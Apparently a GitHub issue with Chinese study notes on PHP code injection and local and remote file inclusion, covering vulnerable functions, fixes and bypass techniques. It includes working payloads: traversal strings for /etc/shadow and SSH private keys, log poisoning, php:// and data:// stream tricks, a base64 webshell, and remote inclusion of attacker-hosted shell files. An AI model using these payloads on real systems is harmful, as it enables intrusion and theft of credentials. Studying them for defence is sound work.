-
Notifications
You must be signed in to change notification settings - Fork 99
Open
Labels
Description
A book that remains shut is but a block.
0x01 代码注入
- 代码注入:当应用程序调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,如果用户输入恶意字符串,被转化成代码执行,将造成代码注入
- 将字符串转化成代码执行的相关函数
PHP:eval、assert
JavaScript:eval
VbScript:Execute、Eval
Python:exec
Java:Java 内没有类似 PHP 中 eval 这种可以直接将字符串转化成代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL 等,这些都能导致代码注入
PHP中的代码注入- 代码执行函数
eval assert callback 函数 preg_replace + /e 模式 unserialize() ( `PHP` 反序列化函数)- 漏洞方式
- 直接获得之后再赋值给
ret,可以直接造成代码注入
eval("\$ret = $data;");deal处理后赋值给ret,单引号传参,闭合单引号就可以造成代码注入
eval("\$ret = deal('$data');");deal处理后赋值给ret,双引号传参,双引号在代码中有个很重要的特性,它可以解析其中的函数,比如传入${phpinfo()},phpinfo将会被执行,而得到的返回值作为参数传入deal,不需要考虑闭合双引号
eval("\$ret = deal("$data");");preg_replace函数,第一个参数使用了/e模式,第二个参数就会使用eval来执行(/e模式会对" '进行转义),这里又是双引号包裹,和上面的一样,{@${phpinfo()}}也可以造成代码注入
preg_replace('/(.*)<\/data>/e', '$ret="\1";', $data); - 直接获得之后再赋值给
- 修复方案
- 能使用
JSON保存数组、对象就使用JSON,不要将PHP对象保存成字符串,否则读取的时候需要使用eval - 必须使用
eval的情况,一定确保用户不能轻易接触eval的参数,或者严格的正则判断输入的数据格式,对于数据一定要使用单引号包裹可控代码,并在插入前进行addslashes转义 - 放弃使用
preg_replace的e模式,使用pre_replace_callback替代,如果一定要使用e模式,确保第二个参数中,对于正则匹配出的对象,是用单引号包裹的
- 能使用
0x02 文件包含
- 文件包含
- 文件包含漏洞的产生原因是在通过引入文件的时候,由于传入的文件名没有经过合理的检验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意的代码注入,可以分为本地文件包含和远程文件包含两种形式
- 被包含的文件在
服务器本地时,形成本地文件包含漏洞 - 被包含的文件在
第三方服务器时,形成远程文件包含漏洞 PHP文件包含PHP 4存在远程和本地文件包含,PHP 5仅存在本地文件包含- 漏洞前提
php.ini allow_url_fopen On 默认开启 可以包含远程文件,使用 ftp 和 http 协议 allow_url_include On 默认关闭 允许引用 URL 文件- 常用的包含文件函数
include()- 当使用该函数包含文件时,只有代码执行到
include()函数时才将文件包含进来,发生错误时只给一个警告,继续向下执行
- 当使用该函数包含文件时,只有代码执行到
include_once()- 和上面一样,区别在于当重复调用同一文件时,程序只调用一次
require()- 和
include()一样,区别在于发生错误时,函数会输出错误信息,终止脚本的运行 require()在PHP程序执行前,会先读入require()所指定引入的文件,使它变成PHP程序的一部分
- 和
require_once()- 和上面一样,区别在于当重复调用同一文件时,程序只调用一次
require一般是用于文件头包含类文件、数据库等文件include一般是用于包含html模板文件
- 本地文件包含
- 包含目录文件
- 如果目录文件中的内容是
PHP,则内容会被当成PHP执行,不是PHP则会读取到文件内容(比如读取/etc/passwd等敏感文件) - 同目录下文件 (
./当前目录)
?file=.htaccess ?file=./.htaccess- 目录遍历 (
../上级目录)(可以获取其他配置文件)
?file=./../../../var/lib/locate.db- 常利用的服务器上的重要文件
.htaccess /var/lib/locate.db /var/lib/mlocate/mlocate.db /var/log/apache/error.log /usr/local/apache2/conf/httpd.conf /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/known_hosts /etc/shadow /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]* (文件标识符) /proc/mounts /proc/config.gz - 如果目录文件中的内容是
- 包含日志文件
- 无法上传文件时,可以尝试利用
User-Agent插入Payload到日志文件 - 将
User-Agent用双引号包裹,比如
User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0<?php phpinfo(); ?>"- 日志文件,可以是错误文件,也可以是访问文件
?file=./../../../../../var/log/apache/error.log- 如果大日志导致浏览器卡死,可以在
Payload后加上一个exit()退出 - 如果包含不成功,可能是
open_basedir限制了目录 - 文件包含常见日志路径
/var/log/apache/error_log /var/log/apache/access_log /var/log/apache2/error_log /var/log/apache2/access_log /var/www/logs/error_log /var/www/logs/access.log /var/log/error_log /var/log/access.log /usr/local/apache/logs/error.log /usr/local/apache/logs/access_log - 无法上传文件时,可以尝试利用
- 包含
session文件session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类,在此之前可以先读取配置文件来确定- 某些特定的情况下如果可以控制
session的值,可能可以获得shell
?file=../../../../tmp/sess_92d8nrMgJgQgViCwsDjbXOy - 包含临时文件
tmp- 向服务器上传任意
PHP文件,如果以form-data方式提交请求上传数据时,会生成临时文件,通过phpinfo来获得临时文件的路径以及名称,然后通过包含临时文件执行代码拿shell - 临时文件会在极短的时间内被删除,所以需要在删除之前包含它,提交大量数据包,让缓存文件足够大,删除的时候相对花费较多时间,从而可以在被删除前包含
- 向服务器上传任意
- 绕过本地文件包含限制
- 典型漏洞代码
<?php include("inc/" . $_GET['file'] . ".htm"); ?>%00截断
?file=../../../../../ect/passwd%00magic_quotes_gpc=off并且PHP小于5.3.4- 如果是
on,会被转义导致截断失败 PHP 5.4之后修复截断特性%00目录遍历截断
?file=../../../../../../var/www/%00magic_quotes_gpc=Off并且Unix文件系统,比如FreeBSD、OpenBSD、NetBSD、Solaris- 路径长度截断
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.PHP版本小于5.2.8(?)可以成功,Linux需要文件名长于4096,Windows需要长于256- 点号截断
?file=../../../../../../../../../boot.ini/.....[...]........PHP版本小于5.2.8(?)可以成功,只适用于Windows,点号需长于256
- 漏洞修复
PHP中使用open_basedir将用户可操作的文件限制在某目录下,即指定在某区域
// php.ini 中设置 open_basedir = /dir/user/- 对传入的参数进行检验和过滤
- 包含目录文件
- 远程文件包含
- 常用的引入远程文件的方法
- 常见的协议
?file=[http|https|ftp]://example.com/shell.txtallow_url_fopen = On并且allow_url_include = On- 远程主机上创建一个带有攻击性代码的文件(
txt和jpg均可),这个文件不能被服务器解析,所以不可以为PHP脚本文件,否则会导致攻击脚本不能在受害者机器上运行
- 利用
PHP流input(利用POST将数据输入)?file=php://input // POST Payload <?php phpinfo(); ?>allow_url_include = On且PHP < 5.3.0- 遇到
file_get_contents()时,可以用php://input绕过file_get_contents()函数会将文件中的内容读取返回至一个字符串中,如果直接将字符串作为参数会报错- 用
php://input的话,可以获取到POST的数据 file_get_contents()返回的是字符串,无法被执行,而include()是将字符串导入,可以作为可执行代码
- 利用
PHP流filter// 读取 index.php 源码(base64 编码) ?file=php://filter/convert.base64-encode/resource=index.php // 读取 index.php 源码(base64 解码) ?file=php://filter/convert.base64-decode/resource=index.phpfilter过滤器,可以在执行代码前将代码换个方式读取出来,因为只是读取,所以无需开启allow_url_include- 利用解码
decode,可以突破符号限制,写入一句话
// 每次利用 file_put_contents 将字符逐个写入到文件 N 中 PD9waHAgZXZhbCgkX1BPU1RbOV0pOw // 解码后为 <?php eval($_POST[9]); // 最后包含文件 N,解码 param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N - 利用
data URIs?file=data://text/plain;base64,base64编码的Payloadallow_url_include = On且PHP < 5.3.0- 将原本
include的文件流重定向到了用户可控制的输入流中,即将Payload包含在了include的文件流中 - 注:
<?php phpinfo();此类执行代码没有?>后缀,有就无法执行
- 利用
zip协议?file=zip://压缩包%23内部文件- 因为
zip协议需要#,为了避免和URL协议中的#冲突,转义成%23 - 比如,包含的后缀必须为
.php
$include_file=$_GET[include_file]; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { require( $include_file ); }- 新建
1.php,里面可以写执行语句,比如一句话 - 压缩成
zip,将压缩包重命名为zip.jpg - 然后将
zip.jpg上传
?file=zip://D:/ApmServ/www/htdocs/zip.jpg%231.php - 因为
- 利用
phar协议?file=phar://压缩包/内部文件PHP > 5.3- 压缩包一般是
phar后缀,需要代码来生成,zip后缀也可以
<?php $p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP); $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?>- 创建
phar的时候注意php.ini中phar.readonly=Off - 压缩包需要是
zip协议压缩,rar不行 - 利用
URL中的压缩包后缀可以是任意后缀
?file=phar://./phar/phartest.aaa/testfile.txtphartest.aaa是一个zip文件,其中有个一个testfile.txt
- 绕过远程文件包含限制
- 典型漏洞代码
<?php include($_GET['file'] . ".htm"); ?>- 各种绕过限制
?file=http://example.com/shell?file=http://example.com/shell.txt? // 无法向攻击者编写的脚本传递参数,如果攻击者脚本加入了参数,会导致无法拦截?file=http://example.com/shell.txt%23 // allow_url_fopen = On 并且 allow_url_include = On?file=\evilshare\shell.php // allow_url_include = On - 漏洞修复
- 对引入文件包含的参数进行过滤
- 对所引入的文件的域进行限制
- 禁止服务器访问可信域以外的文件